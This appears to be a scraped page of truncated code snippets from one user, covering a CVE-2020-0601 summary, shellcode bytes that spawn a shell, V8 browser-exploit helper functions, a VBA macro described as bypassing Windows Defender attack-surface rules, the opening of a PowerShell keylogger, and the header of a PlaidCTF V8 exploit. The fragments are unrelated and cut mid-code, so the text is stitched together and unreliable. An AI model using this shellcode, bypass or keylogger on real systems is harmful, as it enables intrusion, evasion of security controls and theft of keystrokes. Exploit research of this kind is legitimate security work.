raystyle

CVE-2020-0601

General

• Microsoft disclosed a vulnerability in their monthly Patch Tuesday referenced under CVE-2020-0601.
• The vulnerability was discovered by the U.S. National Security Agency, anounced today (2020-01-14) in their press conference, followed by a blog post and an official security advisory.
• The flaw is located in the "CRYPT32.DLL" file under the C:\Windows\System32\ directory.

Vulnerability explanation

• NSA description:
• NSA has discovered a critical vulnerability (CVE-2020-0601) affecting Microsoft Windows® cryptographic functionality.

raystyle

let sc = [106,104,72,184,47,98,105,110,47,47,47,115,80,72,137,231,104,114,105,1,1,129,52,36,1,1,1,1,49,246,86,106,8,94,72,1,230,86,72,137,230,49,210,106,59,88,15,5];

let conva = new ArrayBuffer(8)
let convi = new Uint32Array(conva);
let convf = new Float64Array(conva);

function i2f(i) {
  convi[0] = i%0x100000000;
  convi[1] = i/0x100000000;
  return convf[0];

raystyle

let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);

let f2i = (f) => {
  fv[0] = f;
  return dv[0];
}

raystyle

let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);

let f2i = (f) => {
  fv[0] = f;
  return dv[0];
}

raystyle

console.show()

function gc() {
	for(var i = 0; i < 3; i++) {
		var z = new ArrayBuffer(1024*1024*100)
	}
}

String.prototype.hex = function() {
	var r = ''

raystyle

<#
================
PATCHEXTRACT.PS1
=================
Version 1.25 Microsoft MSU Patch Extraction and Patch Organization Utility by Greg Linares (@Laughing_Mantis)

This Powershell script will extract a Microsoft MSU update file and then organize the output of extracted files and folders.

Organization of the output files is based on the patch's files and will organize them based on their archicture (x86, x64, or wow64)
as well as their content-type, ie: resource and catalog files will be moved to a JUNK subfolder and patch binaries and index files will 

raystyle

' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule

Sub ASR_blocked()
    Dim WSHShell As Object
    Set WSHShell = CreateObject("Wscript.Shell")
    WSHShell.Run "cmd.exe"
End Sub

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#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
{
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]

raystyle

//
// Quick and dirty exploit for the "roll a d8" challenge of PlaidCTF 2018.
// N-day exploit for https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d
//
// Scroll down do "BEGIN EXPLOIT" to skip the utility functions.
//
// Copyright (c) 2018 Samuel Groß
//

//

raystyle

https://bugs.chromium.org/p/chromium/issues/detail?id=905940